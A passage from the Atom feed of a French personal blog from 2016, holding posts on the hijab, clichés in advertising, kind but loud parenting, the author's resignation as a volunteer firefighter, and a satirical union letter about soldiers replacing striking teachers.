&lt;p&gt;La voilà qui arrive. Elle porte son hijab vert. J&amp;rsquo;aime bien cette couleur mais qu&amp;rsquo;est-ce qu&amp;rsquo;elle doit avoir chaud ! Perso, je ne pourrais pas supporter quelque chose sur la tête toute la journée. En plus, je suis jalouse de ses cheveux d&amp;rsquo;un merveilleux noirs. Les miens sont châtains banals. Et ça ne nous empêchera pas d&amp;rsquo;aller manger un bout en terrasse ce midi.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Camille s&amp;rsquo;habille comme elle veut du moment que je peux choisir comment je m&amp;rsquo;habille.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Leyla s&amp;rsquo;habille comme elle veut du moment que je peux choisir comment je m&amp;rsquo;habille.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://fairy-bluebird.deviantart.com/art/dancing-to-the-sun-34819963"&gt;fairy&lt;/a&gt;. Il y a quelque temps (parfois un article met du temps à murir), j&amp;rsquo;ai vu passer deux hashtags; &lt;code&gt;#hijabday&lt;/code&gt; et &lt;code&gt;#hijabofday&lt;/code&gt;. C&amp;rsquo;est ma réflexion&lt;/em&gt;.&lt;/p&gt;</content></entry><entry><title>Politiquement correct</title><link href="http://blog.namok.be/2016-06-01-politiquement-correct.html" rel="alternate"/><published>2016-06-01T00:00:00+02:00</published><updated>2016-06-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-06-01:/2016-06-01-politiquement-correct.html</id><summary type="html">Réflexion sur les clichés, la diversité et le politiquement correct dans la société et la publicité.</summary><content type="html">&lt;p&gt;&lt;img alt="love_yourself__by_xblankpageempirex-d353ish.jpg" src="/images/love_yourself__by_xblankpageempirex-d353ish.jpg" title="love_yourself__by_xblankpageempirex-d353ish.jpg, juin 2016"&gt;&lt;/p&gt;
&lt;p&gt;Quand je sors de chez moi, je ne vois que des gens beaux. Jamais de gros. Jamais de moches. Des gens toujours souriants. Les filles ont des seins juste comme il faut, ni trop gros, ni tout petits. Ceux que tu croises — les gens hein — sont toujours bien habillés. Parfois en caleçon ou en maillot, voire en sous-vêtements mais toujours bien !&lt;/p&gt;
&lt;p&gt;Ah, on me souffle dans l&amp;rsquo;oreillette que c&amp;rsquo;est parce que je regarde les affiches de pub. C&amp;rsquo;est vrai qu&amp;rsquo;il fait froid pour être en maillot en plein centre de Bruxelles.&lt;/p&gt;
&lt;p&gt;Quand je sors de chez moi, je vois des gens que &lt;strong&gt;je trouve&lt;/strong&gt; belles &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, des gros, des roux, des filles, des garçons pas souriants du tout, des vieux, des petits, des grands, des blondes &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;… et jamais personne en caleçon.&lt;/p&gt;
&lt;p&gt;Parce que l&amp;rsquo;on est tous différents, on a tous nos difficultés. On a tous nos problèmes. Ceux que l&amp;rsquo;on doit gérer simplement parce que l&amp;rsquo;on est &lt;em&gt;comme ça&lt;/em&gt;. Les filles (trop) belles se font harceler, les gros ne parviennent pas à gagner un 100m, les roux finissent par croire qu&amp;rsquo;ils puent, les garçons pas souriants du tout tirent la gueule pour faire « dur », les vieux roulent (très) lentement en voiture, les petits ne peuvent pas s&amp;rsquo;engager chez les pompiers, les grands doivent se baisser tout le temps et entendre « Il fait bon la haut ? », les blondes savent très bien qu&amp;rsquo;elles ne sont pas bêtes mais elles jouent le jeu parce qu&amp;rsquo;il faut… et les hommes blancs hétéros n&amp;rsquo;ont absolument aucun problème.&lt;/p&gt;
&lt;p&gt;Que des clichés !&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;— Salut les gars. Aujourd&amp;rsquo;hui, on doit faire une pub pour le petit club de sport juste à côté.&lt;br&gt;
— Ok, on fait comme d&amp;rsquo;hab ? Une fille (pas trop sexe) qui court sur le tapis, c&amp;rsquo;est bon ?&lt;br&gt;
— Ouaip ! Ne ferait-on pas la même avec un mec ? Deux affiches c&amp;rsquo;est bien. Ça touche plus de monde.&lt;br&gt;
— On met un blanc, un black ou un arabe ?&lt;br&gt;
— On peut en faire cinq différentes.&lt;br&gt;
— En fait, ils n&amp;rsquo;ont pas le budget pour quatre ou cing affiches différentes. Juste une.&lt;br&gt;
— On met la fille alors ?&lt;br&gt;
— Oui.&lt;br&gt;
— Ben oui, c&amp;rsquo;est le mieux non ?&lt;/p&gt;
&lt;p&gt;Hop ! Facile. C&amp;rsquo;est plié. On prend une fille « standard » et on n&amp;rsquo;aura pas (trop) d&amp;rsquo;emmerdes. Une photo et un slogan un peu passe-partout: « Juste fais-le ! ». Ou plutôt:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Au club Machin fitness, je me sens bien.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Je me trouve un peu gros·se, je passe devant le club de sport. C&amp;rsquo;est pas pour moi. Sur les affiches, ils sont tous minces. Je n&amp;rsquo;oserai jamais pousser la porte pour aller voir.&lt;/p&gt;
&lt;p&gt;Pourquoi ne mettraient-ils pas quelqu&amp;rsquo;un d&amp;rsquo;un peu gros pour une fois. Le sport, c&amp;rsquo;est bon pour tous non ? Ça me ferait du bien, pour mon poids puis pour moi simplement. Mais je ne sais pas très bien par où commencer.&lt;/p&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;p&gt;Ah ah, comme slogan, ils pourraient mettre: « Perdre du poid, ça devrait être comme sa virginité. Une fois que tu l&amp;rsquo;as perdu, c&amp;rsquo;est bon, tu ne le &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; récupères plus ! ». Et ils mettent, un·e gros·se sur l&amp;rsquo;affiche.&lt;/p&gt;
&lt;p&gt;Ils n&amp;rsquo;oseront jamais. Pas assez politiquement correct !&lt;/p&gt;
&lt;p&gt;Monde aseptisé.&lt;/p&gt;
&lt;p&gt;Bordel !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://xblankpageempirex.deviantart.com/art/Love-Yourself-189960929"&gt;xBlankPageEmpirex&lt;/a&gt;. Une photo où l&amp;rsquo;artiste nous encourage à nous aimer tel·le que l&amp;rsquo;on est. Cet article fait suite au relais du &lt;a href="http://www.jdubuzz.com/2016/05/31/publicite-sexiste-bad-buzz-france/"&gt;Journal du buzz&lt;/a&gt; au sujet d&amp;rsquo;une pub que &lt;a href="https://www.facebook.com/LedgerTyler/posts/10209094227448679"&gt;certains&lt;/a&gt; trouvent (très) déplacée. Moi non.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Non non, ce n&amp;rsquo;est pas une faute, c&amp;rsquo;est une figure de style. Oui Monsieur. Mec hétéro, bla bla, je ne regarde que les filles. Tu regardes qui tu veux ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je ne cite pas les &lt;em&gt;lgbt&lt;/em&gt; et je vous aime tous quand même. Hein !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;ai plutôt tendance à écrire « le » plutôt que « la » pour insister sur le poids. Et toi ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Gueuler avec bienveillance</title><link href="http://blog.namok.be/2016-05-25-gueuler-avec-bienveillance.html" rel="alternate"/><published>2016-05-25T00:00:00+02:00</published><updated>2016-05-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-05-25:/2016-05-25-gueuler-avec-bienveillance.html</id><summary type="html">Gueuler avec bienveillance</summary><content type="html">&lt;p&gt;&lt;img alt="bigeyes-212H-1200x.jpg" src="/images//bigeyes-212H-1200x.jpg" title="bigeyes-212H-1200x.jpg, mai 2016"&gt;&lt;/p&gt;
&lt;p&gt;— Ça gueule chez les Pignon ?&lt;/p&gt;
&lt;p&gt;Mon entourage commence à savoir que l&amp;rsquo;on essaie de parler avec bienveillance à nos enfants. Et pas qu&amp;rsquo;à eux car ça n&amp;rsquo;a pas de sens de vouloir éduquer ses enfants avec bienveillance et ne pas considérer ses pairs comme des humains dignes de respect, d&amp;rsquo;écoute voire doués de l&amp;rsquo;intelligence suffisante pour nous comprendre &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Bref, ceux qui m&amp;rsquo;entourent savent que « &lt;a href="2013-04-19-le-livre-vert.html"&gt;Le livre vert&lt;/a&gt; » (qui n&amp;rsquo;est plus vert) et « &lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Cessez d&amp;rsquo;être gentil, soyez vrai&lt;/a&gt; » sont mes deux livres de chevet. Non pas que je les bassine avec ça mais ils le savent.&lt;/p&gt;
&lt;p&gt;— Évidemment que ça gueule. Et plus souvent qu&amp;rsquo;à notre tour ! Mais on gueule avec bienveillance, dis-je.&lt;br&gt;
— …, rétorque-t-elle la bouche ouverte.&lt;/p&gt;
&lt;p&gt;Manifestement, crier et parler avec bienveillance ne semblent pas aller de paire. Même si ça peut surprendre, ça n&amp;rsquo;est pas incompatible pour moi.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crier. Gueuler.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Crier, c&amp;rsquo;est une manière de marquer (fortement) son désaccord, son énervement voire son exaspération lorsque les choses ont déjà été dites et redites. Manifestement tu ne m&amp;rsquo;entends pas lorsque je parle alors je le crie.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Avec bienveillance.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Éduquer avec bienveillance, c&amp;rsquo;est fatiguant. Non, c&amp;rsquo;est épuisant. C&amp;rsquo;est un engagement à long terme. C&amp;rsquo;est un pari sur l&amp;rsquo;avenir. Il est bien plus facile de &lt;em&gt;tapper dessus&lt;/em&gt;. Je caricature (bien sûr). Lorsque je dis ça, je ne pense pas à physiquement frapper mes enfants (quoique), mais à simplement &lt;em&gt;les éteindre&lt;/em&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est possible. C&amp;rsquo;est facile. Il suffit de les habituer à ne pas écouter leurs sentiments, décider pour eux et punir dès qu&amp;rsquo;ils sortent des rails. C&amp;rsquo;est une &lt;a href="2016-04-22-autorite-empathie-profs-cools.html"&gt;autorité basée sur le pouvoir&lt;/a&gt;. Ça marche… un temps. Ce seront des &lt;a href="2013-12-10-un-bon-soldat.html"&gt;bons soldats&lt;/a&gt;. Je dis. Tu obéis sinon je punis. C&amp;rsquo;est tout. Bien sûr, ils risquent de perdre un peu en spontanéité. Lorsqu&amp;rsquo;ils voudront sortir des rails, ils le feront en cachette tandis que s&amp;rsquo;ils n&amp;rsquo;ont pas peur, ils expérimentent frontalement. Mais c&amp;rsquo;est le prix de la tranquillité. Chacun fait son choix (enfin ce qu&amp;rsquo;il peut).&lt;/p&gt;
&lt;p&gt;Crier avec bienveillance, ce n&amp;rsquo;est pas crier en « tu ». Imaginons que nous ayons un problème avec la gestion des boites à tartines au retour de l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;— Tu oublies tout le temps de ranger ta boite à tartines. C&amp;rsquo;est pourtant pas compliqué d&amp;rsquo;y penser. Tu ne penses quand même à rien.&lt;/p&gt;
&lt;p&gt;Crier avec bienveillance, c&amp;rsquo;est exprimer ce qui nous énerve — parce que si l&amp;rsquo;on crie c&amp;rsquo;est que l&amp;rsquo;on est énervé — en étant vrai, en exposant des faits et en disant (éventuellement) pourquoi ça nous énerve. J&amp;rsquo;exprime ce que &lt;strong&gt;je&lt;/strong&gt; ressens, je dis &lt;strong&gt;ce&lt;/strong&gt; qui m&amp;rsquo;énerve et pas &lt;strong&gt;qui&lt;/strong&gt; m&amp;rsquo;énerve.&lt;/p&gt;
&lt;p&gt;Lorsqu&amp;rsquo;une envie de crier me prend (!), j&amp;rsquo;utilise ce schéma (je me suis entrainé sinon, ça ne vient pas dans l&amp;rsquo;énervement);&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Situation - sentiment - besoin - demande.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;— Les boites à tartines ne sont pas rangées. Ça m&amp;rsquo;énerve de ne pas les trouver à leur place le matin. Je n&amp;rsquo;ai pas le temps de les chercher sinon on est en retard. Il faut les ranger dès que vous rentrez.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est long ?&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est valable pour les premières fois où l&amp;rsquo;on crie — oui, on sera encore amené à crier — ensuite le message peut être raccourcit. Ce n&amp;rsquo;est pas parce qu&amp;rsquo;ils ne rangent pas leur boite à tartines qu&amp;rsquo;ils ne savent pas qu&amp;rsquo;il faut le faire ! Les rascals. Ils oublient ou reportent (un peu comme nous). Tiens, tu as payé la dernière facture du téléphone ?&lt;/p&gt;
&lt;p&gt;— Il faut ranger les boites à tartines dès que l&amp;rsquo;on rentre. C&amp;rsquo;est important, vous le savez tous.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai pas donné de fessée ni fait copier « Je dois ranger ma boite à tartines ». Je sais qu&amp;rsquo;à force, ça va rentrer en ajoutant une pincée d&amp;rsquo;&lt;strong&gt;autonomie&lt;/strong&gt;. Les tartines peuvent se retrouver dans un essuie-tout dans le cartable et être écrasées, ce n&amp;rsquo;est pas mon problème. Ils peuvent courir le matin, la brosse à dent dans la bouche, à la recherche de la fameuse boite pour qu&amp;rsquo;elle reçoive leurs tartines, ce n&amp;rsquo;est pas mon problème.&lt;/p&gt;
&lt;p&gt;Le message est de plus en plus court. À force on en perd la voix. La millième fois…&lt;/p&gt;
&lt;p&gt;— Les boites à tartines. Bordel !&lt;/p&gt;
&lt;p&gt;On peut être bienveillant et être un peu grossier.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://www.gratisography.com/"&gt;Gratisography&lt;/a&gt;. Elle n&amp;rsquo;a pas la bave aux lèvres ni la bouche ouverte, mais ses yeux en disent long.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Si ça parrait sarcastique, c&amp;rsquo;est parce que je pense aux politiques et à la pub qui ont tous deux la fâcheuse habitude de nous prendre pour des abrutis mais c&amp;rsquo;est une autre histoire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;a href="http://anti-deprime.com/2015/10/04/il-est-tres-facile-davoir-un-enfant-sage-qui-ne-pleure-pas/"&gt;Extrait d&amp;rsquo;un article à lire&lt;/a&gt;: « Il est très facile d’avoir un enfant sage. Il suffit dès tout petit de ne pas l’écouter, de ne pas l’entendre, de ne pas répondre à ses demandes. L’enfant saisit très vite que ce n’est pas la peine d’appeler, car personne ne vient. Il refoule ses émotions, une partie de lui s’éteint. Il ne saura plus qui il est, quels sont ses besoins et ne demandera plus rien. En grandissant, ses parents auront des difficultés à connaitre cet enfant qui s’exprime si peu. » Catherine Gueguen&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Je ne suis plus pompier</title><link href="http://blog.namok.be/2016-05-20-je-ne-suis-plus-pompier.html" rel="alternate"/><published>2016-05-20T00:00:00+02:00</published><updated>2016-05-20T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-05-20:/2016-05-20-je-ne-suis-plus-pompier.html</id><summary type="html">Quand on est pompier, c'est dans les tripes… et pourtant, j'ai démissionné par manque de temps.</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/pompier-casquex1200.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Huit heures. Ma garde est terminée. Il fait beau. C&amp;rsquo;est un dimanche d&amp;rsquo;été. 
C&amp;rsquo;est devenu une habitude maintenant, quand je termine le samedi ou le
dimanche matin, je fais un crochet par la boulangerie. J&amp;rsquo;apporte le déjeuner. &lt;/p&gt;
&lt;p&gt;Je monte sur ma moto. Je ne rentre pas directement porter les petits pains au
chocolat, je vais faire quelques détours par les petits chemins histoire de
rouler un peu et de profiter des premiers rayons de soleil. Le bip ne
sonnera pas. C&amp;rsquo;est calme, je n&amp;rsquo;entends que le bruit des sorties Arrow qui
chauffent doucement. &lt;/p&gt;
&lt;p&gt;Un garde ambulance ne compte parfois aucune sortie et je reste à la caserne
24h. J&amp;rsquo;en profite pour m&amp;rsquo;avancer pour l&amp;rsquo;école ou dans divers projets. Je fais
ma veille technologique. 
D&amp;rsquo;autres fois, les sorties s&amp;rsquo;enchainent. 
Des accidents domestiques ou professionnels : une chute d&amp;rsquo;échelle, un enfant
coupé en cassant un vase, un pouce arraché par une machine. 
Des malades plus ou moins jeunes : &lt;em&gt;checkup&lt;/em&gt; à l&amp;rsquo;hôpital car on ne sait pas très
bien ce qu&amp;rsquo;ils ont, malade qui &lt;em&gt;fait son infarctus&lt;/em&gt; ou son &lt;em&gt;AVC&lt;/em&gt;, enfant
brulant voire inconscient, crise d&amp;rsquo;asthme, dépressif qui a pris des
médicaments.
Des personnes âgées appelées affectivement &lt;em&gt;petits vieux&lt;/em&gt; qui sont
généralement en dégradation de l&amp;rsquo;état général simplement parce que la machine
s&amp;rsquo;use. 
Des polytraumatisés : accident de la route en voiture, en vélo, en mobylette. 
Les sorties de fin de soirées qui se terminent au choix: en bagarre dans un café,
dans le canal « Oups ! J&amp;rsquo;ai glissé. », à moitié inconscient, endormi dans
l&amp;rsquo;herbe froide de l&amp;rsquo;hiver sur l&amp;rsquo;esplanade. 
Un transfert d&amp;rsquo;un malade vers un autre hôpital. 
Et les morts. Pendus qu&amp;rsquo;il faut dépendre, &lt;em&gt;petit vieux&lt;/em&gt; mort dans son sommeil,
accident de la route. 
C&amp;rsquo;est à la fois varié et répétitif. Je mets le patient en condition avec
l&amp;rsquo;aide de mon collègue. Le transport vers l&amp;rsquo;hôpital doit se passer au mieux.&lt;/p&gt;
&lt;p&gt;Une sortie ambulance, c&amp;rsquo;est agréable parce que l&amp;rsquo;on se sent utile. Je sais que
je rends service aux gens. Le patient n&amp;rsquo;a jamais envie d&amp;rsquo;être là mais il est
content de nous voir ! Parfois c&amp;rsquo;est son entourage que l&amp;rsquo;on sent soulagé
lorsque l&amp;rsquo;on arrive. &lt;/p&gt;
&lt;p&gt;Tout n&amp;rsquo;est pas rose hein ! Je n&amp;rsquo;aime pas les gens qui puent, les &lt;em&gt;bitus&lt;/em&gt; et
ceux qui sont désagréables. Faut pas déconner. Ceux là, j&amp;rsquo;essaie de les
oublier. Puis, le fait d&amp;rsquo;être à deux, ça relativise beaucoup. Ça fait de
chouettes souvenirs parfois.  &lt;/p&gt;
&lt;p&gt;Outre les gardes ambulances qui sont (maintenant) complètement planifiées,
être pompier, c&amp;rsquo;est remettre ses disponibilités pour les interventions
pompiers, accepter des remplacements de garde ambulance et ne pas oublier de
se rendre aux divers recyclages. &lt;/p&gt;
&lt;p&gt;Le temps.  &lt;/p&gt;
&lt;p&gt;Je pensais que j&amp;rsquo;en avais plein. Mon travail me permet de travailler à la
maison — &lt;em&gt;Enseignant, fainéant !&lt;/em&gt; — je peux donc être disponible en journée.
&lt;em&gt;Et bien non !&lt;/em&gt; Mes journées ne font que 24h comme les vôtres. Je ne parviens
pas à dégager du temps pour tout ce que je voudrais faire. Comme tout le
monde, c&amp;rsquo;est trop court. J&amp;rsquo;ai dû faire le constat que je n&amp;rsquo;avais pas le temps
d&amp;rsquo;aller rouler en moto par exemple. Et c&amp;rsquo;était trop triste de la voir pourrir
sous sa bâche. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai vendu ma moto.  &lt;/p&gt;
&lt;p&gt;Seuls les pompiers renseignés comme disponibles sont susceptibles d&amp;rsquo;être bipés
(ce n&amp;rsquo;était pas le cas avant). Il est donc important de veiller à « être
renseigné disponible » dans le système le plus souvent possible. On pourra
alors partir en intervention. &lt;/p&gt;
&lt;p&gt;Une intervention pompier. Même si c&amp;rsquo;est trop peu fréquent pour moi, j&amp;rsquo;aime ;
faire un balisage, tenir la lance, rencontrer les gens chez qui on fait des
nids de guêpes, jouer avec l&amp;rsquo;élévateur (qui est maintenant une auto-échelle),
découper une voiture, aller en renfort citerne, aider un p&amp;rsquo;tit vieux à se
relever, faire un tour dans les égouts de la ville à la recherche d&amp;rsquo;une odeur,
me mettre dans un four juste pour voir si l&amp;rsquo;équipement tient le coup,
tronçonner quelques branches qui gênent dans un camping en pleine tempête,
éteindre un feu de cheminée, balayer l&amp;rsquo;A8 à 3h du matin et… aller au feu.  &lt;/p&gt;
&lt;p&gt;Aller au feu.&lt;br&gt;
Aller au feu.  &lt;/p&gt;
&lt;p&gt;Lorsqu&amp;rsquo;il y a des grandes flammes, que l&amp;rsquo;équipement est bien en place, entrer
dans le bâtiment pour l&amp;rsquo;éteindre — &lt;em&gt;&lt;a href="https://www.youtube.com/watch?v=aWzTW2gsRII"&gt;pulsing penciling&lt;/a&gt;&lt;/em&gt; — ou arroser pour
empêcher la propagation de l&amp;rsquo;incendie, c&amp;rsquo;est ce que l&amp;rsquo;on aime (quasi) tous le
plus. Malheureusement — je devrais dire heureusement mais alors, je ne serais
pas pompier — ça n&amp;rsquo;arrive pas souvent. Il y a globalement peu d&amp;rsquo;incendies
avérés. Et il faut se débrouiller pour être efficace et professionnel alors
que ce sont des gestes que l&amp;rsquo;on répète peu. Il faut prendre le temps de
participer aux exercices. Un exercice pompier par mois qui s&amp;rsquo;ajoute aux
recyclages.  &lt;/p&gt;
&lt;p&gt;Le temps. &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai démissionné.&lt;br&gt;
Je ne suis plus pompier. &lt;/p&gt;
&lt;p&gt;Je rentre du travail. Je descends du train et me dirige vers le bus. &lt;em&gt;Pin pon&lt;/em&gt;.
J&amp;rsquo;entends la sirène. &lt;em&gt;Pin pon&lt;/em&gt;. L&amp;rsquo;ambulance s&amp;rsquo;approche. À force, on reconnait
les sirènes et celle-là, c&amp;rsquo;est l&amp;rsquo;ambulance. &lt;em&gt;Pin pon&lt;/em&gt;. Elle passe devant moi.
C&amp;rsquo;est Philippe et Magali. Bonne course les gars. &lt;/p&gt;
&lt;p&gt;Je me dirige vers le bus. J&amp;rsquo;ai du temps il parait. Je pense à mes collègues.
Julien, Virginie, Thibaut, Lionel, Thierry. 
J&amp;rsquo;ai rarement rencontré des gens aussi différents les uns des autres et qui,
pourtant, partagent « ça ». 
André, Ben, Didier, Olivier, Michael. 
Parce que pompier, c&amp;rsquo;est un peu indescriptible et tu n&amp;rsquo;en ressors pas indemne. 
Johan, John, Jérôme, Dimitri.
Tu rencontres des gens que tu aimes ou que tu hais mais avec qui tu es sur la
route la nuit en direction de l&amp;rsquo;hôpital dans lequel ton passager va recevoir
« son &lt;em&gt;stent&lt;/em&gt; ». 
Patrick, David, Jérémy, Benjamin, Grégory. 
Des gens que tu aimes ou que tu hais et avec lesquels tu
entreras dans une maison en feu. 
Romain, Cédric, Séastien, Xavier. 
Des gars avec qui tu passeras 24h à « attendre » l&amp;rsquo;appel. 
Fatalement, ça crée des liens.
Jonathan, Axel, Joël, Bruno.
En dix ans, je n&amp;rsquo;ai que de bons souvenirs. 
Frédéric, Jean-Claude, François, Mélanie.
Il y a bien sûr des coups de gueule et des désaccords. Pour ma part, c&amp;rsquo;est
très vite oublié. Dès que l&amp;rsquo;on est dans le camion. 
Éric, Michel, Alain, Jean-Pierre. &lt;/p&gt;
&lt;p&gt;Je rentre à la maison. Il fait calme. Le bip ne sonnera pas. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La photo est de moi. Pire, c&amp;rsquo;est moi.&lt;/em&gt;  &lt;/p&gt;</content></entry><entry><title>Réquisition du délégué</title><link href="http://blog.namok.be/2016-05-13-requisition-delegue.html" rel="alternate"/><published>2016-05-13T00:00:00+02:00</published><updated>2016-05-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-05-13:/2016-05-13-requisition-delegue.html</id><summary type="html">Réquisition du délégué</summary><content type="html">&lt;p&gt;&lt;img alt="fullmetaljacket.jpg" src="/images/fullmetaljacket.jpg" title="fullmetaljacket.jpg, mai 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce texte, un peu politique, est de mon collègue Yves, délégué syndical, écrit en ces jours ou les militaires suppléent les gardiens de prisons et où le peuple s&amp;rsquo;inquiète que ceux-ci ne doivent un jour conduire les bus ou les trains.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bonjour camarades !&lt;/p&gt;
&lt;p&gt;Hélas je dois vous annoncer une mauvaise nouvelle : j’ai été mis à la disposition du gouvernement Michel comme délégué syndical cgsp de la haute école.&lt;/p&gt;
&lt;p&gt;Comme de toute façon l’Armée interviendra lors de la prochaine grève dans l’enseignement, le gouvernement Michel a estimé qu’il valait mieux prendre les devants en neutralisant les fauteurs de troubles anticipativement.&lt;/p&gt;
&lt;p&gt;Étant donné le désarroi que vous imaginez des étudiants abandonnés par les futurs professeurs déserteurs, j’ai donc reçu instruction du colonel SteenSpring d’établir une liste de grévistes radicalisés que des militaires modérés devront remplacer. Je deviens en quelque sorte un « enseignant–renseignant », comme aime à le dire le colonel SteenSpring !&lt;/p&gt;
&lt;p&gt;Ceci dit camarades ne vous alarmez pas, vous n’avez rien à craindre, le colonel SteenSpring est un homme charmant. Il adore les plaisanteries militaires. Si vous voulez je puis vous rassurer en vous donnant quelques échantillons de l’humour:&lt;/p&gt;
&lt;p&gt;— Quel est le fruit préféré du militaire ?&lt;br&gt;
— …&lt;br&gt;
— La grenade !&lt;/p&gt;
&lt;p&gt;Ah, ah ! Sacré colonel, vous voyez que nous sommes en bonne Compagnie.&lt;/p&gt;
&lt;p&gt;Bref il faudra aussi que les éventuels collègues grévistes fournissent au Sergent Sulfateur un résumé bien documenté de leurs cours afin que le Sergent puisse coordonner les cours de langages informatiques.&lt;/p&gt;
&lt;p&gt;Les cours d’anglais seront d’office remplacés par des cours de néerlandais d’Anvers. Le colonel SteenSpring ayant horreur des « généralités », pas question d’évoquer devant lui des cours « généraux » (ah ah! Sacré colonel toujours le mot pour rire, même lorsqu’il s’agit de sa future promotion).&lt;/p&gt;
&lt;p&gt;Seuls les cours de langage informatique seront donc maintenus à ceci près qu’il faudra se passer de l’Orienté Objet. Je vous assure camarade que, fidèle à mon combat contre la Droite, j’ai essayé d’expliquer au Sergent Sulfateur que l’Orienté Objet n’avait rien d’Oriental. Mais rien n’y fit. Je sais que c’est choquant mais les militaires seront là pour défendre les valeurs occidentales qui nous sont chères. Alors aujourd’hui tout ce qui sonne « orient » parait un peu suspect (la Syrie, la Russie, Molenbeek…). C’est réducteur certes mais mettez-vous à leur place ?&lt;/p&gt;
&lt;p&gt;La collaboration avec le nouveau régime s’annonce difficile, voire impossible ! Je rappelle, à cet égard, qu’une grève et une manifestation contre le durcissement du régime d’Austérité est prévue le 24 mai 2016. Je déclare aux courageux camarades qui voudraient y participer: si jamais vous êtes arrêté par la police, et vous passez en prison, vous restez en quelque sorte dans le même service… militaire.&lt;/p&gt;
&lt;p&gt;En fait ce gouvernement Michel est cohérent dans ses économies néolibérales il réduit tous les services publics à néant pour n’en garder qu’un seul.&lt;/p&gt;
&lt;p&gt;Voilà camarades, je suis vraiment désolé de ces contrariétés mais j’ai été réquisitionné par un gouvernement qui représente démocratiquement le patronat flamand. Le colonel m’a précisé qu’aucune intervention militaire qui viserait à remplacer le patronat flamand n’était prévue. Ouf, là on a vraiment eu peur.&lt;/p&gt;
&lt;p&gt;Je conclurai avec prudence, avec Jean Ferrat et les gardiens de prison en déclarant aux militaires; « Mais que venez-vous faire ici camarades !&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Yves n&amp;rsquo;a malheureusement pas pu terminer son billet ayant été brusquement embarqué.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
